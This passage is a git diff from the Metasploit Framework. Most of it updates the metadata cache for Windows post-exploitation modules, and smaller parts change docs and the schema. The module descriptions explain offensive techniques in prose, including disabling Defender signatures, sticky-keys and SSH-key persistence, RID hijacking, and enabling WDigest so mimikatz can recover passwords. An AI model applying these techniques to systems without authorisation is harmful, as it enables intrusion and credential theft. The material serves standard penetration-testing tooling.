- - ] + "actions": [] }, "post_windows/manage/priv_migrate": { "name": "Windows Manage Privilege Based Process Migration ", "fullname": "post/windows/manage/priv_migrate", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279331,16 +281036,14 @@ "theLightCosine " ], "description": "This module will migrate a Meterpreter session based on session privileges.\n It will do everything it can to migrate, including spawning a new User level process.\n For sessions with Admin rights: It will try to migrate into a System level process in the following\n order: ANAME (if specified), services.exe, wininit.exe, svchost.exe, lsm.exe, lsass.exe, and winlogon.exe.\n If all these fail and NOFAIL is set to true, it will fall back to User level migration. For sessions with User level rights:\n It will try to migrate to a user level process, if that fails it will attempt to spawn the process\n then migrate to it. It will attempt the User level processes in the following order:\n NAME (if specified), explorer.exe, then notepad.exe.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/priv_migrate.rb", "is_install_path": true, "ref_name": "windows/manage/priv_migrate", @@ -279348,21 +281051,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/pxeexploit": { "name": "Windows Manage PXE Exploit Server", "fullname": "post/windows/manage/pxeexploit", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279370,38 +281074,31 @@ "scriptjunkie" ], "description": "This module provides a PXE server, running a DHCP and TFTP server.\n The default configuration loads a linux kernel and initrd into memory that\n reads the hard drive; placing a payload to install metsvc, disable the\n firewall, and add a new user metasploit on any Windows partition seen,\n and add a uid 0 user with username and password metasploit to any linux\n partition seen. The windows user will have the password p@SSw0rd!123456\n (in case of complexity requirements) and will be added to the administrators\n group.\n\n See exploit/windows/misc/pxesploit for a version to deliver a specific payload.\n\n Note: the displayed IP address of a target is the address this DHCP server\n handed out, not the \"normal\" IP address the host uses.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-21 10:45:08 +0000", "path": "/modules/post/windows/manage/pxeexploit.rb", "is_install_path": true, "ref_name": "windows/manage/pxeexploit", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/reflective_dll_inject": { "name": "Windows Manage Reflective DLL Injection Module", "fullname": "post/windows/manage/reflective_dll_inject", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279419,7 +281116,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/reflective_dll_inject.rb", "is_install_path": true, "ref_name": "windows/manage/reflective_dll_inject", @@ -279427,38 +281124,37 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/remove_ca": { "name": "Windows Manage Certificate Authority Removal", "fullname": "post/windows/manage/remove_ca", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "vt " ], - "description": "This module allows the attacker to remove an arbitrary CA certificate\n from the victim's Trusted Root store.", - "references": [ - - ], + "description": "This module removes the specified CA certificate from the\n system Trusted Root store.", + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/remove_ca.rb", "is_install_path": true, "ref_name": "windows/manage/remove_ca", @@ -279466,21 +281162,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "config-changes" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/remove_host": { "name": "Windows Manage Host File Entry Removal", "fullname": "post/windows/manage/remove_host", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279488,16 +281187,14 @@ "vt " ], "description": "This module allows the attacker to remove an entry from the Windows hosts file.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/post/windows/manage/remove_host.rb", "is_install_path": true, "ref_name": "windows/manage/remove_host", @@ -279505,21 +281202,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "config-changes" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/rid_hijack": { "name": "Windows Manage RID Hijacking", "fullname": "post/windows/manage/rid_hijack", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279528,7 +281228,7 @@ ], "description": "This module will create an entry on the target by modifying some properties\n of an existing account. It will change the account attributes by setting a\n Relative Identifier (RID), which should be owned by one existing\n account on the destination machine.\n\n Taking advantage of some Windows Local Users Management integrity issues,\n this module will allow to authenticate with one known account\n credentials (like GUEST account), and access with the privileges of another\n existing account (like ADMINISTRATOR account), even if the spoofed account is\n disabled.", "references": [ - "URL-http://csl.com.co/rid-hijacking/" + "URL-https://web.archive.org/web/20240520163742/https://csl.com.co/rid-hijacking/" ], "platform": "Windows", "arch": "", @@ -279536,29 +281236,24 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/rid_hijack.rb", "is_install_path": true, "ref_name": "windows/manage/rid_hijack", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/rollback_defender_signatures": { "name": "Disable Windows Defender Signatures", "fullname": "post/windows/manage/rollback_defender_signatures", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279566,17 +281261,15 @@ "metasploit ", "luisco100 " ], - "description": "This module with appropriate rights let to use the Windows Defender command-line utility a run and automation\n tool (mpcmdrun.exe) in order to disable all the signatures available installed for the compromised machine.\n The tool is prominently used for scheduling scans and updating the signature or definition files,\n but there is a switch created to restore the installed signature definitions to a previous backup copy or\n to the original default set of signatures which is none, disabling all the signatures and allowing malware\n to execute even with the Windows Defender solution enabled.", - "references": [ - - ], + "description": "This module with appropriate rights uses the Windows Defender command-line utility to run an automation\n tool (mpcmdrun.exe) in order to disable all the signatures available installed for the compromised machine.\n The tool is prominently used for scheduling scans and updating the signature or definition files,\n but there is a switch created to restore the installed signature definitions to a previous backup copy or\n to the original default set of signatures which is none, disabling all the signatures and allowing malware\n to execute even with the Windows Defender solution enabled.", + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-09-19 17:31:51 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/rollback_defender_signatures.rb", "is_install_path": true, "ref_name": "windows/manage/rollback_defender_signatures", @@ -279587,11 +281280,9 @@ "Stability": [ "service-resource-loss" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ - + "config-changes" ] }, "session_types": [ @@ -279612,9 +281303,7 @@ "post_windows/manage/rpcapd_start": { "name": "Windows Manage Remote Packet Capture Service Starter", "fullname": "post/windows/manage/rpcapd_start", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279622,16 +281311,14 @@ "Borja Merino " ], "description": "This module enables the Remote Packet Capture System (rpcapd service)\n included in the default installation of Winpcap. The module allows you to set up\n the service in passive or active mode (useful if the client is behind a firewall).\n If authentication is enabled you need a local user account to capture traffic.\n PORT will be used depending of the mode configured.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/rpcapd_start.rb", "is_install_path": true, "ref_name": "windows/manage/rpcapd_start", @@ -279639,38 +281326,37 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/run_as": { "name": "Windows Manage Run Command As User", "fullname": "post/windows/manage/run_as", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "Kx499" ], - "description": "This module will login with the specified username/password and execute the\n supplied command as a hidden process. Output is not returned by default, by setting\n CMDOUT to true output will be redirected to a temp file and read back in to\n display. By setting advanced option SETPASS to true, it will reset the users\n password and then execute the command.", - "references": [ - - ], + "description": "This module will login with the specified username/password and execute the\n supplied command as a hidden process. Output is not returned by default, by setting\n CMDOUT to true output will be redirected to a temp file and read back in to\n display. By setting advanced option SETPASS to true, it will reset the user's\n password and then execute the command.", + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/run_as.rb", "is_install_path": true, "ref_name": "windows/manage/run_as", @@ -279678,38 +281364,37 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/run_as_psh": { - "name": "Windows 'Run As' Using Powershell", + "name": "Windows 'Run As' Using PowerShell", "fullname": "post/windows/manage/run_as_psh", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "p3nt4" ], - "description": "This module will start a process as another user using powershell.", - "references": [ - - ], + "description": "This module will start a process as another user using PowerShell.", + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/run_as_psh.rb", "is_install_path": true, "ref_name": "windows/manage/run_as_psh", @@ -279717,21 +281402,22 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/sdel": { "name": "Windows Manage Safe Delete", "fullname": "post/windows/manage/sdel", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279739,16 +281425,14 @@ "Borja Merino " ], "description": "The goal of the module is to hinder the recovery of deleted files by overwriting\n its contents. This could be useful when you need to download some file on the victim\n machine and then delete it without leaving clues about its contents. Note that the script\n does not wipe the free disk space so temporary/sparse/encrypted/compressed files could\n not be overwritten. Note too that MTF entries are not overwritten so very small files\n could stay resident within the stream descriptor.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/sdel.rb", "is_install_path": true, "ref_name": "windows/manage/sdel", @@ -279756,21 +281440,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/shellcode_inject": { "name": "Windows Manage Memory Shellcode Injection Module", "fullname": "post/windows/manage/shellcode_inject", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279778,16 +281463,14 @@ "phra " ], "description": "This module will inject into the memory of a process a specified shellcode.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/shellcode_inject.rb", "is_install_path": true, "ref_name": "windows/manage/shellcode_inject", @@ -279795,21 +281478,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/sshkey_persistence": { "name": "SSH Key Persistence", "fullname": "post/windows/manage/sshkey_persistence", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": null, "type": "post", @@ -279817,16 +281501,14 @@ "Dean Welch " ], "description": "This module will add an SSH key to a specified user (or all), to allow\n remote login via SSH at any time.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/sshkey_persistence.rb", "is_install_path": true, "ref_name": "windows/manage/sshkey_persistence", @@ -279834,22 +281516,25 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk" + ], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/sticky_keys": { "name": "Sticky Keys Persistence Module", "fullname": "post/windows/manage/sticky_keys", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279867,7 +281552,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-11 12:22:54 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/sticky_keys.rb", "is_install_path": true, "ref_name": "windows/manage/sticky_keys", @@ -279875,6 +281560,13 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "config-changes" + ], + "Reliability": [] }, "session_types": [ "meterpreter", @@ -279895,9 +281587,7 @@ "post_windows/manage/vmdk_mount": { "name": "Windows Manage VMDK Mount Drive", "fullname": "post/windows/manage/vmdk_mount", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279914,7 +281604,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/vmdk_mount.rb", "is_install_path": true, "ref_name": "windows/manage/vmdk_mount", @@ -279922,21 +281612,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/vss": { "name": "Windows Manage Volume Shadow Copies", "fullname": "post/windows/manage/vss", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279964,9 +281657,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "config-changes", "artifacts-on-disk" @@ -280006,9 +281697,7 @@ "post_windows/manage/wdigest_caching": { "name": "Windows Post Manage WDigest Credential Caching", "fullname": "post/windows/manage/wdigest_caching", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -280016,16 +281705,14 @@ "Kostas Lintovois " ], "description": "On Windows 8/2012 or higher, the Digest Security Provider (WDIGEST) is disabled by default. This module enables/disables\n credential caching by adding/changing the value of the UseLogonCredential DWORD under the WDIGEST provider's Registry key.\n Any subsequent logins will allow mimikatz to recover the plain text passwords from the system's memory.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/wdigest_caching.rb", "is_install_path": true, "ref_name": "windows/manage/wdigest_caching", @@ -280033,21 +281720,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "config-changes" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/webcam": { "name": "Windows Manage Webcam", "fullname": "post/windows/manage/webcam", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -280055,16 +281745,14 @@ "sinn3r " ], "description": "This module will allow the user to detect installed webcams (with\n the LIST action) or take a snapshot (with the SNAPSHOT) action.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/webcam.rb", "is_install_path": true, "ref_name": "windows/manage/webcam", @@ -280072,6 +281760,13 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "physical-effects" + ], + "Reliability": [] }, "session_types": [ "meterpreter" @@ -280091,9 +281786,7 @@ "post_windows/recon/computer_browser_discovery": { "name": "Windows Recon Computer Browser Discovery", "fullname": "post/windows/recon/computer_browser_discovery", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -280101,16 +281794,14 @@ "mubix " ], "description": "This module uses railgun to discover hostnames and IPs on the network.\n LTYPE should be set to one of the following values: WK (all workstations), SVR (all servers),\n SQL (all SQL servers), DC (all Domain Controllers), DCBKUP (all Domain Backup Servers),\n NOVELL (all Novell servers), PRINTSVR (all Print Que servers), MASTERBROWSER (all Master Browsers),\n WINDOWS (all Windows hosts), or UNIX (all Unix hosts).", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/recon/computer_browser_discovery.rb", "is_install_path": true, "ref_name": "windows/recon/computer_browser_discovery", @@ -280118,21 +281809,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/recon/outbound_ports": { "name": "Windows Outbound-Filtering Rules", "fullname": "post/windows/recon/outbound_ports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -280149,7 +281841,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/recon/outbound_ports.rb", "is_install_path": true, "ref_name": "windows/recon/outbound_ports", @@ -280157,21 +281849,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/wlan/wlan_bss_list": { "name": "Windows Gather Wireless BSS Info", "fullname": "post/windows/wlan/wlan_bss_list", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -280179,16 +281872,14 @@ "theLightCosine " ], "description": "This module gathers information about the wireless Basic Service Sets\n available to the victim machine.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/wlan/wlan_bss_list.rb", "is_install_path": true, "ref_name": "windows/wlan/wlan_bss_list", @@ -280196,21 +281887,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/wlan/wlan_current_connection": { "name": "Windows Gather Wireless Current Connection Info", "fullname": "post/windows/wlan/wlan_current_connection", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -280218,16 +281910,14 @@ "theLightCosine " ], "description": "This module gathers information about the current connection on each\n wireless lan interface on the target machine.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-13 09:23:28 +0000", "path": "/modules/post/windows/wlan/wlan_current_connection.rb", "is_install_path": true, "ref_name": "windows/wlan/wlan_current_connection", @@ -280235,21 +281925,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/wlan/wlan_disconnect": { "name": "Windows Disconnect Wireless Connection", "fullname": "post/windows/wlan/wlan_disconnect", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -280257,16 +281948,14 @@ "theLightCosine " ], "description": "This module disconnects the current wireless network connection\n on the specified interface.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-13 09:23:28 +0000", "path": "/modules/post/windows/wlan/wlan_disconnect.rb", "is_install_path": true, "ref_name": "windows/wlan/wlan_disconnect", @@ -280274,21 +281963,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/wlan/wlan_probe_request": { "name": "Windows Send Probe Request Packets", "fullname": "post/windows/wlan/wlan_probe_request", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -280296,16 +281986,14 @@ "Borja Merino " ], "description": "This module send probe requests through the wlan interface.\n The ESSID field will be use to set a custom message.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/wlan/wlan_probe_request.rb", "is_install_path": true, "ref_name": "windows/wlan/wlan_probe_request", @@ -280313,21 +282001,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/wlan/wlan_profile": { "name": "Windows Gather Wireless Profile", "fullname": "post/windows/wlan/wlan_profile", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -280335,16 +282024,14 @@ "theLightCosine " ], "description": "This module extracts saved Wireless LAN profiles. It will also try to decrypt\n the network key material. Behavior is slightly different between OS versions\n when it comes to WPA. In Windows Vista/7 we will get the passphrase. In\n Windows XP we will get the PBKDF2 derived key.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/wlan/wlan_profile.rb", "is_install_path": true, "ref_name": "windows/wlan/wlan_profile", @@ -280352,13 +282039,16 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] } } \ No newline at end of file diff --git a/db/schema.rb b/db/schema.rb index 90d6436444c14..e92a43b8e52f8 100644 --- a/db/schema.rb +++ b/db/schema.rb @@ -10,7 +10,7 @@ # # It's strongly recommended that you check this file into your version control system. -ActiveRecord::Schema[7.0].define(version: 2022_12_09_005658) do +ActiveRecord::Schema[7.1].define(version: 2025_02_04_172657) do # These are extensions that must be enabled in order to support this database enable_extension "plpgsql" @@ -314,6 +314,7 @@ t.datetime "created_at", precision: nil, null: false t.datetime "updated_at", precision: nil, null: false t.string "jtr_format" + t.jsonb "metadata", default: {}, null: false t.index "type, decode(md5(data), 'hex'::text)", name: "index_metasploit_credential_privates_on_type_and_data_pkcs12", unique: true, where: "((type)::text = 'Metasploit::Credential::Pkcs12'::text)" t.index "type, decode(md5(data), 'hex'::text)", name: "index_metasploit_credential_privates_on_type_and_data_sshkey", unique: true, where: "((type)::text = 'Metasploit::Credential::SSHKey'::text)" t.index ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT (((type)::text = 'Metasploit::Credential::SSHKey'::text) OR ((type)::text = 'Metasploit::Credential::Pkcs12'::text)))" diff --git a/docs/Gemfile.lock b/docs/Gemfile.lock index 125c702c17ac5..82b9addb71728 100644 --- a/docs/Gemfile.lock +++ b/docs/Gemfile.lock @@ -17,15 +17,15 @@ GEM byebug (11.1.3) coderay (1.1.3) colorator (1.1.0) - concurrent-ruby (1.3.4) + concurrent-ruby (1.3.5) em-websocket (0.5.3) eventmachine (>= 0.12.9) http_parser.rb (~> 0) eventmachine (1.2.7) - ffi (1.17.0) + ffi (1.17.1) forwardable-extended (2.6.0) http_parser.rb (0.8.0) - i18n (1.14.6) + i18n (1.14.7) concurrent-ruby (~> 1.0) jekyll (4.3.4) addressable (~> 2.4) @@ -76,7 +76,7 @@ GEM rb-fsevent (0.11.2) rb-inotify (0.11.1) ffi (~> 1.0) - rexml (3.4.0) + rexml (3.4.1) rouge (4.5.1) safe_yaml (1.0.5) sassc (2.4.0) diff --git a/docs/_includes/title.html b/docs/_includes/title.html index 2854cfdd6ba76..1367bc24f6b86 100644 --- a/docs/_includes/title.html +++ b/docs/_includes/title.html @@ -1 +1 @@ -Metasploit Documentation + diff --git a/docs/_plugins/metasploit_console_language.rb b/docs/_plugins/metasploit_console_language.rb index bfbbb52df6e88..a7d94398ed3d6 100644 --- a/docs/_plugins/metasploit_console_language.rb +++ b/docs/_plugins/metasploit_console_language.rb @@ -17,7 +17,7 @@ def self.token(name, shortname, &b) SHORTNAME = 'z' token :Msf, SHORTNAME do - # prompt - msf / msf5 / msf6 / meterpreter + # prompt - msf / meterpreter token :Prompt, "#{SHORTNAME}p" # [-] token :Error, "#{SHORTNAME}e" @@ -49,7 +49,7 @@ def self.keywords state :root do mixin :whitespace - # Match msf, msf5, msf6, meterpreter + # Match msf, meterpreter rule %r{^(msf\d?|meterpreter)}, Tokens::Msf::Prompt, :msf_prompt rule %r{^\[-\]}, Tokens::Msf::Error rule %r{^\[\+\]}, Tokens::Msf::Good @@ -59,7 +59,7 @@ def self.keywords end # State for highlighting the prompt such as - # msf6 auxiliary(admin/dcerpc/cve_2022_26923_certifried) > + # msf auxiliary(admin/dcerpc/cve_2022_26923_certifried) > state :msf_prompt do mixin :whitespace diff --git a/docs/assets/css/main.css b/docs/assets/css/main.css index 3f9f8b54ea86d..f19e920e15d67 100644 --- a/docs/assets/css/main.css +++ b/docs/assets/css/main.css @@ -5,6 +5,11 @@ text-align: justify; } +/* Site logo */ +.title-logo { + width: 220px; +} + /* Color highlighting for msf console text */ .language-mermaid .label { text-transform: inherit; diff --git a/docs/assets/images/metasploit-logo-dark-external-use.svg b/docs/assets/images/metasploit-logo-dark-external-use.svg new file mode 100644 index 0000000000000..850ab200a236b --- /dev/null +++ b/docs/assets/images/metasploit-logo-dark-external-use.svg @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/docs/metasploit-framework.wiki/Creating-Your-First-PR.md b/docs/metasploit-framework.wiki/Creating-Your-First-PR.md index ebb63b2237950..f1b11c6cce8da 100644 --- a/docs/metasploit-framework.wiki/Creating-Your-First-PR.md +++ b/docs/metasploit-framework.wiki/Creating-Your-First-PR.md @@ -85,7 +85,7 @@ Additionally any information about caveats, scenarios you have tested, custom op should also go into this file. ## Checking Documentation Syntax -Once you have written the documentation, you then want to run `toos/dev/msftidy_docs.rb `. This will report on any +Once you have written the documentation, you then want to run `tools/dev/msftidy_docs.rb `. This will report on any errors with your documentation file, which you will want to fix before submitting your PR. Notice however that if you get a warning about long lines, these may be okay to ignore depending on the context. A good example is if a line is long merely because of a URL. Such warnings can be safely ignored. diff --git a/docs/metasploit-framework.wiki/Downloads-by-Version.md b/docs/metasploit-framework.wiki/Downloads-by-Version.md index 